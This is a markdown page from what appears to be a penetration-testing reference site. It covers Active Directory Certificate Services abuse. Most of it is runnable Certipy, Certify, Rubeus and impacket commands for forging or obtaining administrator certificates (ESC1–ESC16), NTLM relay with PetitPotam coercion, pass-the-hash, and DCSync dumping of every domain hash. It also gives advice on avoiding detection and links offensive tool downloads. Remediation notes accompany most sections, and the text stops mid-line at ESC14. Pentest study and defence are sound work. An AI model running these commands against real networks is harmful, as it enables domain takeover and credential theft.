adcs-and-certificate-abuse.md (45712B)
1 --- 2 title: "Stage 07 — ADCS and Certificate Abuse" 3 description: "CPTS attack-flow reference for stage 07 — adcs and certificate abuse in an authorised engagement." 4 category: pentest-workflow 5 subcategory: "CPTS Attack Flow" 6 order: 10 7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-07", "pentest-workflow"] 8 tools: ["Certipy", "Certify", "OpenSSL"] 9 difficulty: advanced 10 updated: "2026-08-29" 11 source: "vault:Pentest Attack Flow/10 - Stage 07 - ADCS and Certificate Abuse.md" 12 --- 13 > [!dashboard] Attack-flow navigation 14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 15 > 16 > **Section:** 10 of 17 · **Focus:** Stage 07 — ADCS and Certificate Abuse 17 > 18 > **Previous:** [Stage 06 — ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse) · **Next:** [Stage 08 — Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) 19 20 --- 21 # 📜 STAGE 7 — ADCS / Certificate Abuse 22 23 Certificates are password-equivalents that survive password resets. The whole stage is three Certipy verbs on repeat: **`find`** (triage) → **`req` / `relay` / `shadow` / `forge`** (get a cert for someone I shouldn't) → **`auth`** (PKINIT → TGT + NT hash via UnPAC). Everything below feeds the same tail. Deep dives: _ADCS Attack Methodology Guide · _ADCS ESC Attack Index · Certipy-ad · Certipy-ADCS-Cheatsheet. 24 25 > [!tools] Stage this 26 > [Certify.exe](/downloads/pentest-workflow/Certify.exe) ([SHA-256](/downloads/pentest-workflow/Certify.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Certify.exe.sha256.asc)) — GhostPack [Certify](https://github.com/GhostPack/Certify): the Windows-side enumerator/abuser (`find /vulnerable`, `cas`, `pkiobjects`, `request /altname`). Needs the CA FQDN reachable; run from a domain-joined foothold or via `runas /netonly`. 27 > [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Rubeus.exe.sha256.asc)) — GhostPack [Rubeus](https://github.com/GhostPack/Rubeus): the Windows-side auth tail — `asktgt /certificate:cert.pfx /getcredentials /ptt` does PKINIT + UnPAC + inject in one shot. 28 > [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpDPAPI.exe.sha256.asc)) — GhostPack [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI): cert theft side — `certificates` / `machinecertificates` unwrap DPAPI-locked user/machine certs + private keys. 29 > 30 > Link-only drivers: [Certipy](https://github.com/ly4k/Certipy) (the Linux workhorse) · [ForgeCert](https://github.com/GhostPack/ForgeCert) (golden certs, Windows) · [PSPKIAudit](https://github.com/GhostPack/PSPKIAudit) (defensive audit, useful for template diffs) · [Impacket ntlmrelayx](https://github.com/fortra/impacket) (ESC8 relay). 31 32 > [!warning] Certipy v5 — always pass `-dc-host` 33 > Omitting `-dc-host` in v5+ makes Certipy resolve the *domain name* as the DC host, get `Target IP: None`, and die with `[Errno 113] No route to host` even when `-dc-ip` is right. Pair `-dc-ip $IP` with `-dc-host $DC` on every command; add `-ns $IP` to pin DNS to the DC (the Fluffy lesson). If Certipy dies on `cannot import name 'asn1' from 'cryptography.hazmat'`, it's a stale lib — `pipx install certipy-ad` or `uv tool install certipy-ad`. 34 35 --- 36 37 ## PKI in 60 seconds — what I'm actually attacking 38 39 - **CA (Certification Authority):** the server that signs certs. Enterprise CAs live in AD under `CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,...` and their private key is the crown jewel (→ Golden Cert). 40 - **Certificate template:** a blueprint object in AD (`CN=Certificate Templates,...`). It fixes **EKU** (what the cert may do — `Client Authentication` is the money EKU), **who may enroll** (ACL on the template — `Domain Users`/`Domain Computers` by default), **supply-in-request** (may the requester choose the subject/SAN?), and **manager approval** (does a human/officer have to sign off?). 41 - **Request flow:** enrollee builds a CSR → CA checks template ACL + flags → CA signs → cert issued. **Every misconfiguration below is one of those four checks being weak.** 42 - **Auth flow:** the DC validates a presented cert via **PKINIT** (Kerberos-as-user-with-cert) or **Schannel** (LDAPS/HTTPS client-cert auth). Post-May-2022, the KDC wants the cert to carry the requester's **SID extension** (`szOID_NTDS_CA_SECURITY_EXT`) or a strong mapping — that's what ESC6/9/10/16 and Certifried are all fighting over. 43 - **Issuance policy / OID group link:** a template can carry an issuance-policy OID that AD links to a group — the cert then drags that group's SID into your PAC (ESC13). 44 45 ## CA discovery — where's the PKI? 46 47 ```bash 48 # from Linux 49 nxc ldap "$IP" -u "$U" -p "$P" -M adcs # quick CA names via LDAP 50 certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -enabled -stdout 51 BASEDN="DC=corp,DC=example,DC=local" # one DC= per domain label 52 ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" \ 53 -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,$BASEDN" 54 ``` 55 56 ```powershell 57 # from Windows (built-in, zero tooling) 58 certutil -config - -ping # list enterprise CAs 59 certutil -enrollmentServerURL -config "$DC\$CA-NAME" # ESC8: is HTTP web enrollment up? 60 Certify.exe cas # CA details incl. flags (EDITF, IF_ENFORCEENCRYPTICERTREQUEST) 61 Certify.exe pkiobjects # PKI object ACLs (ESC5 surface) 62 ``` 63 64 ### Step 0 — `certipy find` triage (always first) 65 66 **What to look for** → the `[!] Vulnerabilities` blocks. Every ESC label maps straight to a playbook below. 67 68 **Enumerate** 69 ```bash 70 # Vulnerable-only, straight to terminal (also writes JSON + BloodHound zip) 71 certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -vulnerable -stdout 72 73 # Enabled templates only (quieter triage) 74 certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -enabled -stdout 75 76 # Pass-the-hash variant 77 certipy-ad find -u "$U@$DOMAIN" -hashes :$NT -dc-ip $IP -dc-host $DC -vulnerable -stdout 78 79 # Full dump (not just vulnerable) — hunt THEFT/PERSIST targets + CA/template names 80 certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -json -text -output adcs_enum 81 # v5+: enumerate one known CA's template surface (list-templates is a `ca` option, not a subcommand) 82 certipy-ad ca -ca 'CA-NAME' -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -list-templates 83 ``` 84 85 The three registry/patch checks that decide whether the mapping attacks (ESC6/9/10/16, Certifried) still work: 86 ```bash 87 # StrongCertificateBindingEnforcement on the DC — 0=off 1=compat(default) 2=full/blocked 88 netexec smb $IP -u "$U" -p "$P" -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement' 89 # CertificateMappingMethods (ESC10 — 0x4 = weak UPN mapping on) 90 netexec smb $IP -u "$U" -p "$P" -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel" /v CertificateMappingMethods' 91 # Patch level (Certifried KB5014754, EKUwu KB5044281) 92 netexec smb $IP -u "$U" -p "$P" -x 'wmic qfe list brief | findstr "KB5014754 KB5044281"' 93 ``` 94 95 ### Windows-side enumeration — Certify.exe (staged above) 96 97 ```powershell 98 # the bread-and-butter triage 99 .\Certify.exe find /vulnerable 100 .\Certify.exe find /enrolleeSuppliesSubject # ESC1-shaped templates only 101 .\Certify.exe find /clientauth # client-auth-capable templates 102 .\Certify.exe find /enabledtemplates # what the CA actually publishes 103 # CA-side config (EDITF_ATTRIBUTESUBJECTALTNAME2 → ESC6, officer rights → ESC7) 104 .\Certify.exe cas 105 # PKI object ACLs — NTAuthCertificates, template containers (ESC5) 106 .\Certify.exe pkiobjects 107 ``` 108 109 > [!tip] Certify output caveat 110 > Certify's `/vulnerable` is ESC1–ESC8-era logic — it will **not** flag ESC9–ESC16. If Certify comes back clean on a 2022+ environment, that proves nothing; cross-check with `certipy-ad find` (v5 detects through ESC16) or read template flags by hand (`CT_FLAG_NO_SECURITY_EXTENSION`, issuance policies, schema version). 111 112 ### The universal tail — cert → auth → NT hash → shell 113 114 Every playbook ends here. Given a `.pfx`, PKINIT it for a TGT **and** the account's NT hash (UnPAC-the-hash), then spend it: 115 ```bash 116 # PKINIT + UnPAC in one shot -> writes administrator.ccache AND prints the NT hash 117 certipy-ad auth -pfx administrator.pfx -username administrator -domain $DOMAIN -dc-ip $IP 118 119 # Spend the TGT (quietest) — pass-the-ticket from the .ccache 120 export KRB5CCNAME=administrator.ccache 121 wmiexec.py -k -no-pass $DC 122 secretsdump.py -k -no-pass $DC # DCSync if the identity has repl rights 123 124 # ...or Pass-the-Hash with the recovered NT hash 125 evil-winrm -i $IP -u administrator -H <NThash> 126 psexec.py administrator@$IP -hashes :<NThash> 127 ``` 128 129 ```powershell 130 # Windows tail: Rubeus does PKINIT + UnPAC + inject (PTT) in one shot 131 .\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:certpass /getcredentials /ptt /nowrap 132 ``` 133 134 > [!note] Pass-the-cert (no PKINIT needed) 135 > If the DC has no PKINIT (or it's broken), the cert still authenticates over **Schannel**: `certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip $IP` gives an LDAP shell as the victim; `nxc ldap $IP -u administrator --pfx-cert administrator.pfx --pfx-pass ''` works too (PEM key pairs use `--pem-cert cert.pem --pem-key key.pem` instead — there is no `--pfx-key`). Schannel auth maps via the DC's `CertificateMappingMethods` — see the mapping gotchas below. 136 137 > [!warning] Watch out 138 > - **Clock skew kills PKINIT.** `certipy auth` does not self-correct. On `KRB_AP_ERR_SKEW` prefix `faketime` (see faketime-cheatsheet) or `sudo rdate -n $IP`: `faketime -f '+7h30m' certipy-ad auth -pfx administrator.pfx -dc-ip $IP`. 139 > - **Kerberos needs DNS.** `echo "$IP $DC $DOMAIN" | sudo tee -a /etc/hosts` before any `-k -no-pass`. 140 > - **No PKINIT on the DC?** Fall back to Schannel/LDAPS: `certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip $IP`. 141 > - `Certificate has no object SID` is **normal** for ESC1/6/7 — it means UPN-mapping fallback. Only fails when `StrongCertificateBindingEnforcement = 2`. 142 143 --- 144 145 ## Full ESC1–ESC16 index — requirement + one-liner both ways 146 147 | ESC | Requirement (what `find` shows) | Certipy one-liner (Linux) | Certify + Rubeus (Windows) | 148 |---|---|---|---| 149 | **ESC1** | `ENROLLEE_SUPPLIES_SUBJECT` + client-auth EKU + no manager approval + low-priv enrollees (detail) | `req -ca X -template Y -upn administrator@$DOMAIN` | `Certify.exe request /ca:X /template:Y /altname:administrator` → Rubeus asktgt | 150 | **ESC2** | `Any Purpose` / no EKU (or SubCA) (detail) | `req -ca X -template Y -upn …` or use as agent cert for ESC3-style | same `/altname` request; any-purpose cert can also be an enrollment-agent cert | 151 | **ESC3** | CRA template (enrollment agent EKU) + no agent restrictions (detail) | `req -template CRA` → `req -template User -on-behalf-of DOM\admin -pfx cra.pfx` | `request /template:CRA` → `request /template:User /onbehalfof:DOM\admin /enrollcert:cra.pfx` | 152 | **ESC4** | Dangerous write ACE on the template object (detail) | `template -save-configuration` → `-write-default-configuration` → ESC1 → restore | Edit template with `certtmpl.msc`/adsiedit or StandIn; then request as ESC1 | 153 | **ESC5** | Write ACE on PKI objects (CA object, NTAuthCertificates, template container) (detail) | Stage-06-style ACL abuse on the object → make a template ESC1/ESC4 | PowerView/StandIn on the PKI object → ESC4 chain | 154 | **ESC6** | CA flag `EDITF_ATTRIBUTESUBJECTALTNAME2` (`User Specified SAN: Enabled`) (detail) | `req -ca X -template User -upn …` on ANY client-auth template | `request /ca:X /template:User /altname:administrator` | 155 | **ESC7** | `ManageCA` and/or `ManageCertificates` on the CA (detail) | `ca -add-officer me` → `-enable-template SubCA` → denied req → `-issue-request <id>` → `req -retrieve <id>` | Certify has no CA-mgmt verbs — use `certsrv.msc`/certutil or run the Certipy side | 156 | **ESC8** | HTTP web enrollment enabled + no EPA (detail) | `ntlmrelayx -t http://CA/certsrv/certfnsh.asp --adcs --template DomainController` + coercion | Relay must run from the attack box; coerce from Windows with `SpoolSample.exe` | 157 | **ESC9** | Template flag `CT_FLAG_NO_SECURITY_EXTENSION` + GenericWrite on a victim (detail) | `account -user victim -upn administrator update` → `req` as victim → restore UPN | Set UPN with StandIn/PowerView → `request` as victim → restore | 158 | **ESC10** | Weak DC mapping: `CertificateMappingMethods` 0x4 and/or `StrongCertificateBindingEnforcement` 0/1 (detail) | same UPN-swap chain as ESC9; Schannel mapping also exploitable | as ESC9 — the vuln is DC-side, the abuse is template-agnostic | 159 | **ESC11** | `IF_ENFORCEENCRYPTICERTREQUEST` **not** enforced on the CA (detail) | `certipy-ad relay -target rpc://CAIP -ca X -template DomainController` + coercion | ntlmrelayx from Linux; coercion from any side | 160 | **ESC12** | Shell access to the CA server (even HSM/YubiHSM-backed keys) | local admin on CA → export CA key / abuse YubiHSM plaintext store | RDP/WinRM to CA → `certutil -backupKey` / Mimikatz `crypto::certificates /export` | 161 | **ESC13** | Template issuance-policy OID linked to a group (`msDS-OIDToGroupLink`) (detail) | `req -ca X -template LinkedTemplate` → `auth` → PAC contains group SID | `request /template:LinkedTemplate` → Rubeus asktgt (group SID in PAC) | 162 | **ESC14** | Weak **explicit** mapping in `altSecurityIdentities` (e.g. X509RFC822 only) + write to that attribute | write a weak mapping to victim's `altSecurityIdentities`, present own cert | PowerView `Set-DomainObject` on `altSecurityIdentities` + own cert | 163 | **ESC15** | Schema-v1 template + unpatched CA (pre-KB5044281) = EKUwu, CVE-2024-49019 (detail) | `req -template Y -upn … -application-policies 'Client Authentication'` | n/a from Certify (policy injection is a Certipy feature) — patch level decides | 164 | **ESC16** | `szOID_NTDS_CA_SECURITY_EXT` disabled CA-wide (`Security Extension: Disabled`) (detail) | UPN-swap (ESC9 chain) against ANY template | StandIn/PowerView UPN swap + `request` as victim | 165 | **Certifried** | MAQ ≥ 1 + pre-KB5014754 DC (detail) | add computer → clear SPNs → set `dNSHostName` = DC → `req -template Machine` | `Powermad`/`StandIn --computer` + `Certify.exe request /template:Machine` | 166 | **DPERSIST1** | Local admin on CA + software key (detail) | `certipy-ad ca -backup -ca 'CA-NAME'` → `certipy-ad forge -ca-pfx …` | `certutil -backupKey` → `ForgeCert.exe --CaCertPath ca.pfx …` | 167 168 > [!tip] Cert → NT hash the long way 169 > When Certipy's `auth` is blocked, do the UnPAC by hand with PKINITtools: `gettgtpkinit.py -cert-pfx administrator.pfx $DOMAIN/administrator admin.ccache` then `getnthash.py -key <AS-REP-key> $DOMAIN/administrator`. Windows foothold: `Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap`. Full detail in THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash). 170 171 --- 172 173 ### ESC1 — SAN injection (the bread-and-butter) 174 175 **What to look for** → `Enrollee Supplies Subject: True` **+** `Client Authentication: True` **+** `Requires Manager Approval: False` on a template `Domain Users` can enroll in. 176 177 **Exploit** — inject the admin UPN straight into the CSR's SAN: 178 ```bash 179 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \ 180 -ca 'CA-NAME' -template 'VulnTemplate' -upn "administrator@$DOMAIN" 181 # -> administrator.pfx then run the universal auth tail 182 ``` 183 184 ```powershell 185 # Windows equivalent — Certify requests, Rubeus auths 186 .\Certify.exe request /ca:"$DC\CA-NAME" /template:VulnTemplate /altname:administrator 187 # -> copy the PEM (cert+key) into cert.pem, convert to pfx: 188 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx 189 .\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /getcredentials /ptt /nowrap 190 ``` 191 192 > [!warning] Watch out 193 > `The NETBIOS connection with the remote host timed out` on `req` is a transient RPC hiccup — re-run (drop `-dc-host` for that one call if it persists). On a patched DC with enforcement=2 the no-SID cert is rejected; pivot to ESC16/Certifried. Add `-sid 'S-1-5-21-...-500'` if the box wants an object SID. 194 195 > [!shield] Remediation (what to recommend) 196 > Remove `Supply in the request` (`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) from the template, require manager approval or an authorized signature, and trim enrollment rights to the groups that actually need the cert. Audit 4886/4887 for SAN-bearing requests from odd accounts. 197 198 ### ESC2 — any-purpose / no-EKU (the Swiss cert) 199 200 **What to look for** → template with `Any Purpose` EKU (`2.5.29.37.0`) or **no EKU at all**, low-priv enrollment. Such a cert is valid for *anything* — including client auth (inject UPN like ESC1) and acting as an enrollment agent (chain into ESC3 against any template). 201 202 ```bash 203 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'VulnTemplate' -upn "administrator@$DOMAIN" 204 # or use it as a CRA cert: 205 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'User' \ 206 -on-behalf-of "$DOMAIN\\administrator" -pfx lowpriv.pfx 207 ``` 208 209 > [!shield] Remediation 210 > Constrain EKUs to what the service needs, never ship an any-purpose template to broad principals. Also watch the **SubCA** template (no EKU, `ENROLLEE_SUPPLIES_SUBJECT` by default) — it's ESC2/ESC1 on steroids and should never be enabled without manager approval. 211 212 ### ESC3 — enrollment agent (two-template, on-behalf-of) 213 214 **What to look for** → Template 1 with `Enrollment Agent: True` (CRA EKU `1.3.6.1.4.1.311.20.2.1`), the CA showing `Enrollment Agent Restrictions: None`, and Template 2 (usually built-in `User`) with client-auth EKU. 215 216 **Exploit** 217 ```bash 218 # 1. Get the agent cert for yourself (NO -upn here) 219 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \ 220 -ca 'CA-NAME' -template 'ESC3-CRA' 221 # -> lowpriv.pfx (your staff badge) 222 223 # 2. Co-sign a cert ON BEHALF OF administrator against a client-auth template 224 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \ 225 -ca 'CA-NAME' -template 'User' -on-behalf-of "$DOMAIN\\administrator" -pfx lowpriv.pfx 226 # -> administrator.pfx then the auth tail 227 ``` 228 229 ```powershell 230 # Windows equivalent 231 .\Certify.exe request /ca:"$DC\CA-NAME" /template:ESC3-CRA 232 # (convert to lowpriv.pfx with openssl as above) 233 .\Certify.exe request /ca:"$DC\CA-NAME" /template:User /onbehalfof:$DOMAIN\administrator /enrollcert:lowpriv.pfx /enrollcertpw:certpass 234 ``` 235 236 > [!warning] Watch out 237 > `-on-behalf-of` uses **`DOMAIN\user`** (NetBIOS + backslash), not UPN. If Step 2 errors, the CA has agent restrictions set (`Enrollment Agent Restrictions` ≠ None) and the path is dead. 238 239 > [!shield] Remediation 240 > Configure **Enrollment Agent Restrictions** on the CA (restrict which agents can enroll on behalf, and for which templates/users), require approval on the CRA template, and scope its enrollment ACL tightly. 241 242 ### ESC4 — template ACL rewrite (I create the vuln) 243 244 **What to look for** → a low-priv principal with `WriteOwner` / `WriteDacl` / `WriteProperty` / `GenericWrite` / `GenericAll` on a template object. Certipy tags it `ESC4 : '…' has dangerous permissions`; BloodHound shows an ACE edge to the template node. 245 246 **Exploit** — back up, mutate to ESC1, exploit, **restore**: 247 ```bash 248 # 1. BACK UP the original config first (build the habit) 249 certipy-ad template -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \ 250 -template 'VulnTemplate' -save-configuration VulnTemplate.json 251 252 # 2. Overwrite with the default ESC1 config (SAN + client-auth EKU, no approval) 253 certipy-ad template -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \ 254 -template 'VulnTemplate' -write-default-configuration 255 256 # 3. Now it's ESC1 — request as administrator 257 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \ 258 -ca 'CA-NAME' -template 'VulnTemplate' -upn "administrator@$DOMAIN" 259 260 # 4. auth tail -> get the hash BEFORE you restore 261 262 # 5. RESTORE the template (critical — noisy object change otherwise) 263 certipy-ad template -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \ 264 -template 'VulnTemplate' -write-configuration VulnTemplate.json -no-save 265 ``` 266 267 > [!warning] Watch out 268 > ESC4 is the **noisiest** ESC — template edits fire Event ID 4899, and the 4899→4886→4887→4899 sequence is the textbook fingerprint. Get the cert + hash first, then restore immediately. `Access Denied` on the mutate = you only have `WriteOwner`; take ownership + grant yourself GenericAll first (BloodyAD/PowerView — see [Stage 06](/sheets/pentest-workflow/acl-and-object-abuse)). Legacy 4.x syntax uses `-save-old` / `-target dc01.$DOMAIN` instead of `-save-configuration`. 269 270 > [!shield] Remediation 271 > Lock template ACLs to `Enterprise Admins`/PKI team; alert on 4899/4900 (template change events) and on 5136 writes under `CN=Certificate Templates,CN=Public Key Services`. 272 273 ### ESC5 — PKI object ACLs (the container, not the template) 274 275 **What to look for** → write access to the CA computer object, the CA's AD object, `CN=NTAuthCertificates`, or the whole `CN=Public Key Services` container (`Certify.exe pkiobjects` / `certipy-ad find` show these). Abuse is pure Stage-06 ACL work on AD objects whose compromise converts to ESC1/ESC4/DPERSIST. 276 277 ```bash 278 # e.g. WriteDacl on the template container -> grant self control -> ESC4 any template 279 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local' --resolve-sd 280 # NTAuthCertificates write -> plant a rogue CA cert -> DPERSIST2 281 ``` 282 283 ### ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 (CA-wide SAN) 284 285 **What to look for** → CA line `User Specified SAN: Enabled` + `Request Disposition: Issue`. Certipy warns `Does not work after May 2022` — believe it and check enforcement first. 286 287 **Exploit** — identical to ESC1 but against **any** client-auth template (no special template needed): 288 ```bash 289 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \ 290 -ca 'CA-NAME' -template 'User' -upn "administrator@$DOMAIN" 291 # -> administrator.pfx then the auth tail 292 ``` 293 294 > [!warning] Watch out 295 > Post-KB5014754 with enforcement ≥ 1 this often fails at auth (SAN ≠ requester SID). The **modern equivalent is ESC16** (SID extension disabled → UPN-swap). If ESC6 is flagged but auth bombs, jump to ESC16. 296 297 > [!shield] Remediation 298 > `certutil -config "CA-NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2` then restart certsvc. Verify with `Certify.exe cas` / `certipy find` — the flag was historically enabled for some web-app integrations and forgotten. 299 300 ### ESC7 — ManageCA / ManageCertificates (approve my own request) 301 302 **What to look for** → a low-priv account in the CA's `ManageCa` or `ManageCertificates` Access Rights. 303 304 **Exploit** — bootstrap officer rights, enable `SubCA`, request (gets denied), issue it yourself, retrieve: 305 ```bash 306 # 1. ManageCA -> make yourself a cert officer (grants ManageCertificates) 307 certipy-ad ca -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -add-officer "$U" 308 309 # 2. Enable the blank-cheque SubCA template 310 certipy-ad ca -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -enable-template SubCA 311 312 # 3. Request as admin — WILL be denied. NOTE the Request ID. 313 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \ 314 -ca 'CA-NAME' -template SubCA -upn "administrator@$DOMAIN" 315 # [*] Request ID is 37 <-- grab this 316 317 # 4. Approve your own denied request with officer rights 318 certipy-ad ca -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -issue-request 37 319 320 # 5. Retrieve the now-issued cert 321 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -retrieve 37 322 # -> administrator.pfx then the auth tail 323 ``` 324 Clean-up: `certipy-ad ca … -remove-officer "$U"` and `-disable-template SubCA`. 325 326 > [!tip] ManageCA-only shortcut 327 > With just `ManageCA` you can flip the ESC6 SAN flag CA-wide instead of the SubCA dance, then exploit as ESC6 against the `User` template. ESC7 is frequently the path that *creates* ESC6. 328 329 > [!shield] Remediation 330 > Audit who holds CA Administrator / Certificate Manager roles (`certutil -config CA -getreg CA\Security` / ICertAdmin ACLs); these roles should be as small as the DA group. Every `ca` verb above fires CA events (enable/disable template, officer change) — detect them. 331 332 --- 333 334 ### ESC8 / ESC11 — NTLM relay to ADCS (coerce a DC → DCSync) 335 336 **What to look for** → ESC8: `Web Enrollment: HTTP Enabled: True`. ESC11: `Enforce Encryption for Requests: Disabled` (the RPC sibling, works even when web enrollment is off). Both need `Request Disposition: Issue` and a coercible DC. 337 338 **Exploit (ESC8, HTTP)** — two terminals: 339 ```bash 340 # Terminal 1 — relay listener aimed at the CA web-enrollment endpoint 341 impacket-ntlmrelayx -t http://$DC/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController' 342 343 # Terminal 2 — coerce the DC to auth to me (LHOST = my tun0) 344 python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $IP # or unauth: PetitPotam.py $LHOST $IP 345 python3 printerbug.py "$DOMAIN/$U:$P"@$IP $LHOST # SpoolSample alt 346 python3 dfscoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $IP # MS-DFSNM alt 347 # Terminal 1 drops DC01$.pfx 348 ``` 349 350 **Exploit (ESC11, RPC/ICPR)** — Certipy's native relay, no ntlmrelayx: 351 ```bash 352 # Terminal 1 353 certipy-ad relay -target rpc://$IP -ca 'CA-NAME' -template 'DomainController' 354 # Terminal 2 — same coercion as above (Coercer/PetitPotam) -> DC01$.pfx 355 ``` 356 357 **Then** authenticate as the machine account and DCSync: 358 ```bash 359 certipy-ad auth -pfx 'DC01$.pfx' -username 'DC01$' -domain $DOMAIN -dc-ip $IP 360 export KRB5CCNAME='DC01$.ccache' 361 secretsdump.py -k -no-pass $DC # every hash in the domain 362 ``` 363 364 > [!warning] Watch out 365 > Loudest attack in the stage — coercion is network-noisy. Relay fails if EPA/channel-binding is on (ESC8) or `IF_ENFORCEENCRYPTICERTREQUEST` is set (ESC11). DC must be able to reach `$LHOST` on 445 — confirm with `tcpdump -ni tun0 port 445`. Never bind Certipy `relay` and `ntlmrelayx` on the same ports. `--template Machine` for a regular computer, `User` for a user account. Coercion tooling deep-dive: [Stage 03](/sheets/pentest-workflow/service-enumeration) (PetitPotam/SpoolSample/DFSCoerce/Coercer). 366 367 > [!shield] Remediation 368 > Disable the HTTP CES/CertSrv enrollment endpoints if unused; otherwise enforce **HTTPS + EPA (Extended Protection for Authentication)** on them. Set `IF_ENFORCEENCRYPTICERTREQUEST` (`certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST`) to kill ESC11. The real fix for the whole class: disable/stop SMB coercion paths and require SMB signing. 369 370 ### ESC9 / ESC10 — no security extension & weak mapping (UPN swap) 371 372 **What to look for** → ESC9: template flag `CT_FLAG_NO_SECURITY_EXTENSION` (`No Security Extension: True`) + GenericWrite over an account that can enroll. ESC10: DC registry allows weak mapping (`CertificateMappingMethods` includes 0x4, and/or `StrongCertificateBindingEnforcement` 0/1). Abuse is identical — steal the target's UPN, enroll as yourself, the cert maps to the target. 373 374 ```bash 375 # 1. read victim UPN, 2. swap my controlled account's UPN to it 376 certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user victim read 377 certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user me -upn victim update 378 # 3. enroll AS ME — cert's UPN = victim's (stolen) UPN -> maps to victim 379 certipy-ad req -u "me@$DOMAIN" -p "$MYP" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'User' 380 # 4. restore my UPN, 5. auth tail 381 certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user me -upn "me@$DOMAIN" update 382 ``` 383 384 > [!shield] Remediation 385 > Clear `CT_FLAG_NO_SECURITY_EXTENSION` from templates (re-issue), set `StrongCertificateBindingEnforcement = 2` after the compatibility phase, and strip weak bits from `CertificateMappingMethods`. Monitor 4738 UPN changes that revert within minutes. 386 387 ### ESC13 — issuance policy → group link 388 389 **What to look for** → a template with an issuance-policy OID whose AD OID object has `msDS-OIDToGroupLink` set. Enroll normally; on auth the KDC drops the **linked group's SID into your PAC** — you become the group without touching group membership (no 4728!). 390 391 ```bash 392 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'LinkedPolicyTemplate' 393 certipy-ad auth -pfx lowpriv.pfx -username "$U" -domain $DOMAIN -dc-ip $IP 394 # TGT now carries the linked group's SID 395 ``` 396 397 > [!shield] Remediation 398 > Remove `msDS-OIDToGroupLink` from OID objects unless truly required; audit issuance policies on templates; treat groups reachable via OID links as tier-0. 399 400 ### ESC14 — weak explicit mappings (altExplicitMapping) 401 402 **What to look for** → explicit mappings in `altSecurityIdentities` that use weak formats only (`X509RFC822`, `X509IssuerSubject`) — and any write access to a target's `altSecurityIdentities` attribute. An attacker who can write that attribute maps *their own* cert onto the victim: request a cert as yourself, write its RFC822/subject mapping onto the victim, authenticate as the victim. 403 404 ```bash 405 # concept — write my cert's weak identifier onto the victim (GenericWrite on victim) 406 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim altSecurityIdentities -v 'X509:<RFC822>me@'$DOMAIN 407 # present MY 